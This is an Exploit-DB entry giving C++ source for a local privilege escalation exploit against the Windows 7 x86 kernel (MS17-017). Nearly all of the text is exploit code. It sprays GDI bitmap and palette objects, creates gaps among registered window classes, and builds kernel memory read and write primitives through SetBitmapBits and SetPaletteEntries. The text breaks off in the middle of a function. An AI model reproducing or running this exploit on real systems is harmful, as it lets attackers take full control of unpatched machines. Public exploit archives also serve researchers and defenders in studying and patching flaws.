Exploit-DB #44479
Description: Microsoft Windows Kernel (7 x86) - Local Privilege Escalation (MS17-017)
Type: local
Platform: windows_x86
Date: 2018-03-15
Author: xiaodaozhi

Exploit:
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")

#define POCDEBUG 0

#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif

CONST LONG maxTimes = 2000;
CONST LONG tmpTimes = 3000;
static HBITMAP hbitmap[maxTimes] = { NULL };
static HPALETTE hpalette[maxTimes] = { NULL };

static DWORD    iMemHunted = NULL;
static HBITMAP  hBmpHunted = NULL;
static PDWORD   pBmpHunted = NULL;
static HPALETTE hPalExtend = NULL;

CONST LONG iExtPaleHmgr = 809;
CONST LONG iExtcEntries = 814;
CONST LONG iExtPalColor = 828;

typedef struct _PATRECT {
    INT nXLeft;
    INT nYLeft;
    INT nWidth;
    INT nHeight;
    HBRUSH hBrush;
} PATRECT, *PPATRECT;

typedef BOOL (WINAPI *pfPolyPatBlt)(HDC hdc, DWORD rop, PPATRECT pPoly, DWORD Count, DWORD Mode);

static
BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL);
        if (hbitmap[i] == NULL)
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxDeleteBitmaps(VOID)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        bReturn = DeleteObject(hbitmap[i]);
        hbitmap[i] = NULL;
    }
    return bReturn;
}

static
BOOL xxRegisterWndClasses(LPCSTR menuName)
{
    POCDEBUG_BREAK();
    CHAR buf[0x10] = { 0 };
    for (LONG i = 0; i < tmpTimes; i++)
    {
        WNDCLASSEXA Class = { 0 };
        sprintf(buf, "CLS_%d", i);
        Class.lpfnWndProc = DefWindowProcA;
        Class.lpszClassName = buf;
        Class.lpszMenuName = menuName;
        Class.cbSize = sizeof(WNDCLASSEXA);
        if (!RegisterClassExA(&Class))
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxDigHoleInWndClasses(LONG b, LONG e)
{
    BOOL bReturn = FALSE;
    CHAR buf[0x10] = { 0 };
    for (LONG i = b; i < e; i++)
    {
        sprintf(buf, "CLS_%d", i);
        bReturn = UnregisterClassA(buf, NULL);
    }
    return bReturn;
}

static
BOOL xxUnregisterWndClasses(VOID)
{
    BOOL bReturn = FALSE;
    CHAR buf[0x10] = { 0 };
    for (LONG i = 0; i < tmpTimes; i++)
    {
        sprintf(buf, "CLS_%d", i);
        bReturn = UnregisterClassA(buf, NULL);
    }
    return bReturn;
}

static
BOOL xxCreatePalettes(ULONG cEntries)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    PLOGPALETTE pal = NULL;
    // 0x64*4+0x58+8=0x1f0
    pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + cEntries * sizeof(PALETTEENTRY));
    pal->palVersion = 0x300;
    pal->palNumEntries = cEntries;
    for (LONG i = 0; i < maxTimes; i++)
    {
        hpalette[i] = CreatePalette(pal);
        if (hpalette[i] == NULL)
        {
            bReturn = FALSE;
            break;
        }
        bReturn = TRUE;
    }
    free(pal);
    return bReturn;
}

static
BOOL xxDeletePalettes(VOID)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        bReturn = DeleteObject(hpalette[i]);
        hpalette[i] = NULL;
    }
    return bReturn;
}

static
BOOL xxRetrieveBitmapBits(VOID)
{
    pBmpHunted = static_cast<PDWORD>(malloc(0x1000));
    ZeroMemory(pBmpHunted, 0x1000);
    LONG index = -1;
    LONG iLeng = -1;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted);
        if (iLeng < 0xCA0)
        {
            continue;
        }
        index = i;
        std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
        hBmpHunted = hbitmap[i];
        break;
    }
    if (index == -1)
    {
        std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
        return FALSE;
    }
    return TRUE;
}

static
VOID xxOutputBitmapBits(VOID)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++)
    {
        std::cout << '[';
        std::cout.fill('0');
        std::cout.width(4);
        std::cout << i << ']' << (PVOID)pBmpHunted[i];
        if (((i + 1) % 4) != 0)
        {
            std::cout << " ";
        }
        else
        {
            std::cout << std::endl;
        }
    }
    std::cout.width(0);
}

static
BOOL xxGetExtendPalette(HPALETTE hHandle)
{
    LONG index = -1;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        if (hpalette[i] != hHandle)
        {
            continue;
        }
        index = i;
        std::cout << "LOCATE: " << '[' << i << ']' << hpalette[i] << std::endl;
        hPalExtend = hpalette[i];
        break;
    }
    if (index == -1)
    {
        std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPoint(LONG id, DWORD Value)
{
    LONG iLeng = 0x00;
    pBmpHunted[id] = Value;
    iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
    if (iLeng < 0xD00)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    UINT iLeng = 0;
    pBmpHunted[iExtPalColor] = addr;
    iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
    if (iLeng < 0xD00)
    {
        return FALSE;
    }
    PVOID pvTable = NULL;
    UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
    pvTable = malloc(cbSize);
    memcpy(pvTable, pvBits, cb);
    iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
    free(pvTable);
    if (iLeng < cbSize / 4)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb)
{
    BOOL iLeng = 0;
    pBmp